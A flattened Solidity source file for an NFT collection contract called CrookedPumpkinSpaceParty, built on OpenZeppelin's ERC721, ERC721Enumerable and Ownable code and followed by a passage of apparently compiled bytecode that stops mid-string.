return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity >=0.7.0 <0.9.0;
contract CrookedPumpkinSpaceParty is ERC721Enumerable, Ownable {
using Strings for uint256;
string baseURI;
string public baseExtension = ".json";
uint256 public cost = 0.03 ether;
uint256 public maxSupply = 5000;
uint256 public maxMintAmount = 500;
bool public paused = false;
bool public revealed = true;
string public notRevealedUri;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _initNotRevealedUri
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
setNotRevealedURI(_initNotRevealedUri);
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
// public
function mint(uint256 _mintAmount) public payable {
uint256 supply = totalSupply();
require(!paused);
require(_mintAmount > 0);
require(_mintAmount <= maxMintAmount);
require(supply + _mintAmount <= maxSupply);
if (msg.sender != owner()) {
require(msg.value >= cost * _mintAmount);
}
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(msg.sender, supply + i);
}
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if(revealed == false) {
return notRevealedUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
//only owner
function reveal() public onlyOwner() {
revealed = true;
}
function setCost(uint256 _newCost) public onlyOwner() {
cost = _newCost;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner() {
maxMintAmount = _newmaxMintAmount;
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedUri = _notRevealedURI;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function withdraw() public payable onlyOwner {
(bool success, ) = payable(msg.sender).call{value: address(this).balance}("");
require(success);
}
} | 0x60806040526004361061020f5760003560e01c80635c975abb11610118578063a475b5dd116100a0578063d5abeb011161006f578063d5abeb01146105bc578063da3ef23f146105d2578063e985e9c5146105f2578063f2c4ce1e1461063b578063f2fde38b1461065b57600080fd5b8063a475b5dd14610552578063b88d4fde14610567578063c668286214610587578063c87b56dd1461059c57600080fd5b80637f00c7a6116100e75780637f00c7a6146104cc5780638da5cb5b146104ec57806395d89b411461050a578063a0712d681461051f578063a22cb4651461053257600080fd5b80635c975abb1461045d5780636352211e1461047757806370a0823114610497578063715018a6146104b757600080fd5b806323b872dd1161019b578063438b63001161016a578063438b6300146103b157806344a0d68a146103de5780634f6ccce7146103fe578063518302271461041e57806355f804b31461043d57600080fd5b806323b872dd146103495780632f745c59146103695780633ccfd60b1461038957806342842e0e1461039157600080fd5b8063081c8c44116101e2578063081c8c44146102c5578063095ea7b3146102da57806313faede6146102fa57806318160ddd1461031e578063239c70ae1461033357600080fd5b806301ffc9a71461021457806302329a291461024957806306fdde031461026b578063081812fc1461028d575b600080fd5b34801561022057600080fd5b5061023461022f366004611f47565b61067b565b60405190151581526020015b60405180910390f35b34801561025557600080fd5b50610269610264366004611f2c565b6106a6565b005b34801561027757600080fd5b506102806106ec565b6040516102409190612154565b34801561029957600080fd5b506102ad6102a8366004611fca565b61077e565b6040516001600160a01b039091168152602001610240565b3480156102d157600080fd5b50610280610813565b3480156102e657600080fd5b506102696102f5366004611f02565b6108a1565b34801561030657600080fd5b50610310600d5481565b604051908152602001610240565b34801561032a57600080fd5b50600854610310565b34801561033f57600080fd5b50610310600f5481565b34801561035557600080fd5b50610269610364366004611e20565b6109b7565b34801561037557600080fd5b50610310610384366004611f02565b6109e8565b610269610a7e565b34801561039d57600080fd5b506102696103ac366004611e20565b610b00565b3480156103bd57600080fd5b506103d16103cc366004611dd2565b610b1b565b6040516102409190612110565b3480156103ea57600080fd5b506102696103f9366004611fca565b610bbd565b34801561040a57600080fd5b50610310610419366004611fca565b610bec565b34801561042a57600080fd5b5060105461023490610100900460ff1681565b34801561044957600080fd5b50610269610458366004611f81565b610c7f565b34801561046957600080fd5b506010546102349060ff1681565b34801561048357600080fd5b506102ad610492366004611fca565b610cc0565b3480156104a357600080fd5b506103106104b2366004611dd2565b610d37565b3480156104c357600080fd5b50610269610dbe565b3480156104d857600080fd5b506102696104e7366004611fca565b610df4565b3480156104f857600080fd5b50600a546001600160a01b03166102ad565b34801561051657600080fd5b50610280610e23565b61026961052d366004611fca565b610e32565b34801561053e57600080fd5b5061026961054d366004611ed8565b610edf565b34801561055e57600080fd5b50610269610fa4565b34801561057357600080fd5b50610269610582366004611e5c565b610fdf565b34801561059357600080fd5b50610280611017565b3480156105a857600080fd5b506102806105b7366004611fca565b611024565b3480156105c857600080fd5b50610310600e5481565b3480156105de57600080fd5b506102696105ed366004611f81565b6111a3565b3480156105fe57600080fd5b5061023461060d366004611ded565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561064757600080fd5b50610269610656366004611f81565b6111e0565b34801561066757600080fd5b50610269610676366004611dd2565b61121d565b60006001600160e01b0319821663780e9d6360e01b14806106a057506106a0826112b5565b92915050565b600a546001600160a01b031633146106d95760405162461bcd60e51b81526004016106d0906121b9565b60405180910390fd5b6010805460ff1916911515919091179055565b6060600080546106fb906122cd565b80601f0160208091040260200160405190810160405280929190818152602001828054610727906122cd565b80156107745780601f1061074957610100808354040283529160200191610774565b820191906000526020600020905b81548152906001019060200180831161075757829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166107f75760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016106d0565b506000908152600460205260409020546001600160a01b031690565b60118054610820906122cd565b80601f016020809104026020016040519081016040528092919081815260200182805461084c906122cd565b80156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b505050505081565b60006108ac82610cc0565b9050806001600160a01b0316836001600160a01b0316141561091a5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016106d0565b336001600160a01b03821614806109365750610936813361060d565b6109a85760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016106d0565b6109b28383611305565b505050565b6109c13382611373565b6109dd5760405162461bcd60e51b81526004016106d0906121ee565b6109b283838361146a565b60006109f383610d37565b8210610a555760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b60648201526084016106d0565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600a546001600160a01b03163314610aa85760405162461bcd60e51b81526004016106d0906121b9565b604051600090339047908381818185875af1925050503d8060008114610aea576040519150601f19603f3d011682016040523d82523d6000602084013e610aef565b606091505b5050905080610afd57600080fd5b50565b6109b283838360405180602001604052806000815250610fdf565b60606000610b2883610d37565b905060008167ffffffffffffffff811115610b4557610b4561238f565b604051908082528060200260200182016040528015610b6e578160200160208202803683370190505b50905060005b82811015610bb557610b8685826109e8565b828281518110610b9857610b98612379565b602090810291909101015280610bad81612308565b915050610b74565b509392505050565b600a546001600160a01b03163314610be75760405162461bcd60e51b81526004016106d0906121b9565b600d55565b6000610bf760085490565b8210610c5a5760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b60648201526084016106d0565b60088281548110610c6d57610c6d612379565b90600052602060002001549050919050565b600a546001600160a01b03163314610ca95760405162461bcd60e51b81526004016106d0906121b9565b8051610cbc90600b906020840190611c97565b5050565b6000818152600260205260408120546001600160a01b0316806106a05760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016106d0565b60006001600160a01b038216610da25760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016106d0565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b03163314610de85760405162461bcd60e51b81526004016106d0906121b9565b610df26000611615565b565b600a546001600160a01b03163314610e1e5760405162461bcd60e51b81526004016106d0906121b9565b600f55565b6060600180546106fb906122cd565b6000610e3d60085490565b60105490915060ff1615610e5057600080fd5b60008211610e5d57600080fd5b600f54821115610e6c57600080fd5b600e54610e79838361223f565b1115610e8457600080fd5b600a546001600160a01b03163314610eb05781600d54610ea4919061226b565b341015610eb057600080fd5b60015b8281116109b257610ecd33610ec8838561223f565b611667565b80610ed781612308565b915050610eb3565b6001600160a01b038216331415610f385760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016106d0565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b600a546001600160a01b03163314610fce5760405162461bcd60e51b81526004016106d0906121b9565b6010805461ff001916610100179055565b610fe93383611373565b6110055760405162461bcd60e51b81526004016106d0906121ee565b61101184848484611681565b50505050565b600c8054610820906122cd565b6000818152600260205260409020546060906001600160a01b03166110a35760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016106d0565b601054610100900460ff1661114457601180546110bf906122cd565b80601f01602080910402602001604051908101604052809291908181526020018280546110eb906122cd565b80156111385780601f1061110d57610100808354040283529160200191611138565b820191906000526020600020905b81548152906001019060200180831161111b57829003601f168201915b50505050509050919050565b600061114e6116b4565b9050600081511161116e576040518060200160405280600081525061119c565b80611178846116c3565b600c60405160200161118c9392919061200f565b6040516020818303038152906040525b9392505050565b600a546001600160a01b031633146111cd5760405162461bcd60e51b81526004016106d0906121b9565b8051610cbc90600c906020840190611c97565b600a546001600160a01b0316331461120a5760405162461bcd60e51b81526004016106d0906121b9565b8051610cbc906011906020840190611c97565b600a546001600160a01b031633146112475760405162461bcd60e51b81526004016106d0906121b9565b6001600160a01b0381166112ac5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e65772